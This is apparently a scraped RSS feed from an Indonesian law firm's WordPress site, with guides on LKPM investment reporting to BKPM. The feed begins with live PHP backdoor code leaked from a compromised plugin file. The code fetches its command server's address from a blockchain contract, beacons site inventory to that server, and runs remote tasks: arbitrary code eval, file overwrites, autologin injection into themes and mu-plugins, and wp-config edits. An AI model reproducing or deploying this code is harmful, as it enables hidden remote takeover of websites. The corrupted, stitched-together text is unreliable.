// vb_ac
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/home/iglolawc/public_html/wp-content/plugins/hseo/hseo.php',
'ctrl'=>'// vb_ac',
'vis'=>'// 3i_xl',
'vis_func'=>'wp_f246md',
'vis_paths'=>array('/home/iglolawc/public_html/wp-content/plugins/hseo/hseo.php'),
'opt'=>'_wp_n3vlj62t',
);
$keys=array();
$keys['id']='3xq';
$keys['ver']='hc';
$keys['caps']='nhs';
$keys['tasks']='585';
$keys['interval']='z5s';
$keys['ack_id']='hk4';
$keys['ok']='13';
$keys['detail']='r7a';
$keys['inv']='vt2';
$keys['result']='5v3';
$hdr='X-B2M-Auth';$tok='gOuvKE2vloxGxtn7ZqnZ750fUap8gCA_JZ1AKkQNCqI';$id='505ce43efd4f8a1b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
Warning: Cannot modify header information - headers already sent by (output started at /home/iglolawc/public_html/wp-content/plugins/hseo/hseo.php:560) in /home/iglolawc/public_html/wp-includes/feed-rss2.php on line 8
LKPM FAQ – Everything You Need to Know to Avoid Sanctions was first published in Indonesia Global Law Firm.
]]>What is the benefit of submitting LKPM?
In addition to serving as investment realization reports, LKPM also serves as a means of communication between BKPM and business actors. Companies can convey the problems in doing business activities and if deemed necessary, BKPM will follow up and facilitate the company’s problems submitted through LKPM.
What are the sanctions for failing to submit LKPM?
Sanctions for not submitting LKPM is listed in BKPM Regulation No. 7 of 2018 on Guidelines and Procedures for Controlling Investment Implementation: Part Five (Imposition of Sanctions) Article 31 – 39. Download the regulation here.
How many LKPMs must be submitted by the Company?
LKPM must be submitted for every KBLI in every business location in every business field.

What to do after submitting LKPM?
After submitting LKPM online to BKPM, the company should check the LKPM submission’s status. There are 4 (four) LKPM statuses that should be of concern to the company:
How do I know my company’s LKPM status?
You can view the LKPM status on the homepage in the following column:

You can also search LKPM based on the status. To do this, go to Beranda (Home), Pencarian LKPM (Search LKPM), choose Tahun (Year), Periode (Period), Status and click Cari (Search).

Will I get a receipt for submitting LKPM?
Definitely, your receipt can be downloaded on this screen:

Can I revise the already submitted LKPM?
What if the total realization of investments recorded in LKPM is not the same as the company’s financial records?
In this case, the company can contact the BKPM officer / PIC through FO Dalak on the 2nd Floor of the BKPM Office and inform the matter in the “Permasalahan yang Dihadapi Perusahaan” or Problems Faced by the Company field on the online LKPM page.
What if the LKPM is submitted past the deadline?
LKPM cannot be submitted later than the specified deadline (Article 10 paragraph 5 letter b). So if the company submits the LKPM past due, the company can accumulate additional investment as much as possible within the last 1 (one) year.
This also applies to companies submitting their first LKPM report (maybe due to ignorance/lack of information regarding LKPM submission), then the investment realization value that can be accumulated is the investment value in the last 1 year. You can write the explanation in the “Permasalahan yang Dihadapi Perusahaan” or Problems Faced by the Company field.
Example:
Company A neglected the LKPM quarter III, IV of 2018 and quarter I, II, III of 2019 period submission. At the beginning of the fourth quarter of 2019 the company received a warning letter from BKPM.
After checking with company A’s finance department, additional investments were obtained during the second quarter of 2018 to the fourth quarter of 2019 as follows:

Therefore:
In the fourth quarter of 2019 the value of the accumulated investment is only the additional investment in the first quarter of 2019 to the fourth quarter of 2019 (last 1 year period) namely:

Additionally, in relation to the above you should also write the following in the “Permasalahan yang Dihadapi Perusahaan” or Problems Faced by the Company field as follows: “The additional investment is the accumulation of first to the fourth quarter of 2019 period.”
Source: PEDOMAN dan TATACARA PENGISIAN LKPM Online_Jun
Photo by bruce mars on Unsplash
LKPM FAQ – Everything You Need to Know to Avoid Sanctions was first published in Indonesia Global Law Firm.
]]>Find Out If Your Company Need to Submit LKPM and HOW! was first published in Indonesia Global Law Firm.
]]>LKPM (Laporan Kegiatan Penanaman Modal or Investment Activity Report) is a report on investment, labor, production, partnership as well as other obligations realization and problems faced that must be submitted periodically (Article 1 section (20) BKPM Regulation No. 5/2021).
You are obliged to submit LKPM, except:
There are two types of LKPM based on the business scale:
Small scale business LKPM – Submitted by businesses having less than Rp 5 billion capital. They are to submit the LKPM per semester.
The submission schedule is as follows:
Medium to large scale business LKPM – Submitted by businesses having between Rp 5-10 billion capital (medium) and more than Rp 10 billion capital (large). They are to submit the LKPM per quarter.
The LKPM submission schedule is as follows:
BKPM (Badan Koordinasi Penanaman Modal or Investment Coordinating Board) will send three warnings one after another in writing if:
BKPM may also issue a temporary suspension if you don’t fulfill your obligations on minor infractions. Finally, revocation of the business permits or business activity may occur if you don’t fulfill your obligations on medium infractions.
The time period of each action taken by BKPM upon failure to submit LKPM is as follows:
Sanctions are voided when obligations are submitted and responses are sent to the OSS system.
Are you aware of the missed deadline? If so, don’t waste any time and contact Indonesia Global Law Firm to assist in LKPM matters.
The following supporting data are needed to fill out the LKPM form.
For companies in the construction phase (prior to commercial operational)
Financial/expense data:
For companies in the production phase (parallel to commercial operational)
In general
You can submit LKPM through LKPM Online. However, first you need to obtain NIB by registering your company to the OSS system. Afterward, get access to LKPM by following these steps:
Open LKPM Online and click “Pendaftaran Hak Akses untuk Perusahaan PMA/PMDN” as shown below.

You will be presented the page below.

Fill out Company Data
Note: if you lose access to LKPM Online you can email helpdesk.spipise@bkpm.go.id and ask to resend the credentials. They will be delivered within 2 – 3 business days. The credentials will be sent to the registered email address.
Provide the following documents as a reference to obtain Access Right to LKPM Online:
With the access right in hand, open and login to LKPM Online. Make sure to write the user ID and password (numbers, capitals) as written in the email you received. You will then be presented with the following interface. Click “Tambah LKPM Baru” to submit a new LKPM.

In the following screen select LKPM delivery phase:

Upon clicking “Tambah LKPM Baru” you will be presented with the screen below:


Click “Lanjut” and you will arrive on the Investment Realization (Realisasi Investasi) interface:

Realisasi Investasi or Investment Realization section:
Write the investment realization of the reported period here.
Modal Tetap = Fixed Capital (company’s fixed assets) including:
Modal Kerja = Working Capital (the amount of fund reserved for operational purposes). Working Capital is filled once for when the company is about to enter the commercial production stage.
Penggunaan Tenaga Kerja or Employment Section
Write the ADDITIONAL employee recruitment in the reporting period, NOT TOTAL EMPLOYMENT!

Realisasi Mesin dan Peralatan or Machinery and Equipments Realization Section
Write your company’s purchase of machinery and equipments then break them down into:
The number of Additional Investment Realization (Realisasi Investasi Tambahan) in Machinery/Equipment & Spare Part (Mesin/Peralatan & Suku Cadang) column must equal to Machinery and Equipment Total Realization (Total Realisasi Mesin dan Peralatan).

Permasalahan yang Dihadapi Perusahaan or Problems Faced by the Company Section
Write any obstacles, problems, constraints related to your business (if any) as well as other construction or materializing business activities related information.

Petugas Penanggung Jawab LKPM dari Perusahaan or Company’s Person in Charge of LKMP Submission Section
Write the contact information of the person in charge of submitting this LKPM. The individual must be reachable and provide information related to every information written in the LKPM. BKPM may at any time contact the person in charge and ask for data confirmation.
The person in charge does not have to be in the Company’s Board of Directors.

Note:
Once the company has completed the Construction stage and meets the licensing requirements, it’s then ready to enter the commercial manufacturing stage.


Upon completing Pernyataan Siap Berproduksi, click “Beranda” (Home) on the left menu as pictured below.

Complete Company Data as shown on the screen below:

You will arrive on Realisasi Investasi & Produksi or Investment & Production Realization screen.

Realisasi Investasi of Investment Realization Section

Realisasi Impor Barang dan Bahan sesuai dengan API-P/API-U or Goods and Materials Import Realization According to API-P/API-U Section
Write the number of import transactions for goods and materials in accordance to API-P/API-U (if any).

Penggunaan Tenaga Kerja Perusahaan or Company Employment Section

Permasalahan yang Dihadapi Perusahaan or Constraints Encountered Section
Write down constraints, problems, obstacles in doing business as well as other informative materials such as Business Permit No, date, issuing authority.

Produksi Barang/Jasa dan Pemasaran pada Periode Ini or Current Period’s Goods/Services Production and Marketing Section


Kewajiban Perusahaan or Company’s Obligations Section
Fill in as per company’s data.
Petugas Penanggung Jawab LKPM dari Perusahaan or Company’s Person in Charge of LKMP Submission Section
Write the contact information of the person in charge of submitting this LKPM. The individual must be reachable and provide information related to every information written in the LKPM. BKPM may at any time contact the person in charge and ask for data confirmation.
The person in charge does not have to be in the Company’s Board of Directors.

Note:
Image: Photo by Campaign Creators on Unsplash
Find Out If Your Company Need to Submit LKPM and HOW! was first published in Indonesia Global Law Firm.
]]>